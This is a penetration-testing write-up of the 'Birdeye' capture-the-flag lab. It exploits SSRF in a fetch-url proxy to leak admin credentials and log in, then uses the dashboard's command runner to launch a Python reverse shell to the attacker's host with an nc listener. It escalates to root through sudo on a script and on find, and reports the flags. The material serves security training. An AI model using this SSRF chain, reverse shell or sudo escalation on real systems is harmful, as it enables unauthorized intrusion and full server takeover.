💻
Pentest Writeup — Birdeye Official writeup
Get Notion free
💻 Page icon💻 Page icon

Pentest Writeup — Birdeye Official writeup

Recon

Target : 192.168.0.134
simple network map scan:
nmap -sS -sV -T5 192.168.0.134
Notes:
Open ports 53, 80, 5000
As usual Since the port 80 is open, we started with a simple look on the browser:
The application seems like a simple Store, we can follow the recon with some
Fuzzing
to discover if there is any hidden routes, for that we will use
feroxbuster
:
feroxbuster -u http://192.168.0.134/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --filter-status 404 --scan-dir-listings
The Fuzzing reveals some interesting routes :
308 GET 260c http://192.168.0.134/admin => http://192.168.0.134/admin/ 403 GET 32c http://192.168.0.134/admin/config 401 GET 25c http://192.168.0.134/admin/dashboard
/admin/config
: potential hidden admin assets
/admin/dashboard
: potential admin dashboard However these routes are protected for external requests:
which means we should find a way to access these routes internally.
Going back to the web app :
We can see this Products page with a search functionality, after inspecting the page :
The request looked like this :
http://192.168.0.134/api/fetch-url?url=http://localhost:5000/api/products/?search="smart"
Based on the naming of the route
fetch-url
and the
url
param we can tell that the web server uses a fetch functioning that retrieve the products from the internal route /api/products/
which is CRITICAL, since it opens the door for SSRF vulnerability

Server Side Request Forgery

SSRF is a vulnerability where an attacker forces a server to make unauthorized requests to its own internal network or to external third-party services. Essentially, the server becomes an unwitting proxy for the attacker.
This means that we can craft a request with the
fetch-url
functionality to hit the protected routes we found before :
http://192.168.0.134/api/fetch-url?url=http://localhost/admin/config
The request exploit the
fetch-url
route to call the /admin/config

🥳 Success SSRF Exploit :

200 OK
From the server means a full 403 bypass with ssrf vulnerability on the protected route with the server giving us :
{ "admin_password":"SuperSecret123!", "admin_user":"superadmin", "login_panel_path":"/admin/panelloginpage" }

Key Finding :

Admin credentials :
admin_user : superadmin admin_password : SuperSecret123!
Login panel route:
/admin/panelloginpage
As expected the
/admin/panelloginpage
is also protected, which means we should use our SSRF finding to access it :
curl -iX GET "http://192.168.0.134/api/fetch-url?url=http://localhost/admin/panelloginpage"
The same as before: we get a
200 Ok
with the login page source :
<!DOCTYPE html> <html> <head> <title>Admin Login</title> <style> body { font-family: Arial; background: #f5f5f5; margin: 40px; } .login-box { background: white; padding: 30px; max-width: 300px; margin: 0 auto; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } h2 { text-align: center; color: #333; margin-bottom: 20px; } input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd; border-radius: 4px; box-sizing: border-box; } button { width: 100%; padding: 10px; background: #007cba; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background: #005a87; } .error { color: red; text-align: center; margin: 10px 0; } </style> </head> <body> <div class="login-box"> <h2>Admin Login</h2> <form method="post"> <input type="text" name="admin_user" placeholder="Username" required> <input type="password" name="admin_password" placeholder="Password" required> <button type="submit">Login</button> </form> </div> </body> </html>
From the browser we see :
Now we successfully got access to the Admin login page : interesting right ! Now we can login.. Well … Not so fast.
Since the page we are seeing is being rendered from the
/
fetch-url
route, Even when using the correct credentials on the broswer… the app wont give us access. The reason is : the
/
fetch-url
is making a
GET
request to the
http://localhost/admin/panelloginpage
, However we need a
POST
request to actually preform the login action.
In that case we should force the
fetch-url
to make a
POST
request on our behalf we should first check what are the request method options we have on the route
fetch-url
with:
curl -iX OPTIONS "http://192.168.0.134/api/fetch-url?url=http://localhost/admin/adminloginpage"
Fortunately for us, we can see the
Access-Control-Allow-Methods
:
GET
,
POST
,
OPTIONS
Which means the
fetch-url
route accepts
POST
requests
Now we can preform the login with
curl
:
curl -iX POST \ "http://192.168.0.134/api/fetch-url?url=http://localhost/admin/panelloginpage&method=POST" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "admin_user=superadmin&admin_password=SuperSecret123\!"
It is extremely necessary to use the
&method=POST
or else our proxy endpoint (
fetch-url
) will continue using the default request method :
GET
And the server response was:
A
Set-Cookie
header pops up containing the session token along side with
<h2>Admin Dashboard</h2>
confirms that we successfully got access to the admin dashboard… we can simply now use the cookie on the browser using cookie-editor and enjoy the view:

Reverse Shell

Entry point : http://192.168.0.134/admin/dashboard
Payload and listener
The dashboard allows the admin to run a command on the server.. Since we are obviously the admin now 👀, we can try a simple id command for the sake of test:
Followed by setting up a simple python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.116",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Finally, we can set up our listener :
nc -lnvp 9001
And on fire up the run button :

Privilege Escalation (PE)

www-data → Root access
NB : The PE phase was made simple since the lab was focusing on the SSRF vulnerability. starting by identifying the current users:
www-data@birdeye:~/birdeye/Server$ cat /etc/passwd | grep "home" cat /etc/passwd | grep "home" syslog:x:102:106::/home/syslog:/usr/sbin/nologin sev:x:1000:1000:birdeye,,,:/home/sev:/bin/bash www-data@birdeye:~/birdeye/Server$
Now our target is
sev
user.
then we check is there is any sudo privileges for the
www-data
:
sudo -l
digging further into the
/home/sev
:
ls -la /home/sev
cat /home/sev/backup_app.py
simply for us we can just run the
/home/sev/backup_app.sh
as sev and get the bash shell ;)
sudo -u sev /home/sev/backup_app.sh
now after getting the
sev
user we can follow up with the previous procedure to see the sudo privileges we have as
sev
user
sudo -l
(ALL) NOPASSWD: /usr/bin/find
means that we can run the
find
built in tool on linux to get a root shell.
to do that i recommend using gtfobins :
sudo find . -exec /bin/sh \; -quit
firing up the command as
sev
:

Root access 🎯 🥳

And we successfully achieved root access on the server.
root@birdeye:~# cat /root/root.txt FLAG{5ev1l_r00t_4cc3ss_4ch13v3d} root@birdeye:~# cat /home/sev/user.txt FLAG{wwwd4t4_t0_s3v_3sc4l4t10n}
User flag : FLAG{wwwd4t4_t0_s3v_3sc4l4t10n}
Root flag : FLAG{5ev1l_r00t_4cc3ss_4ch13v3d}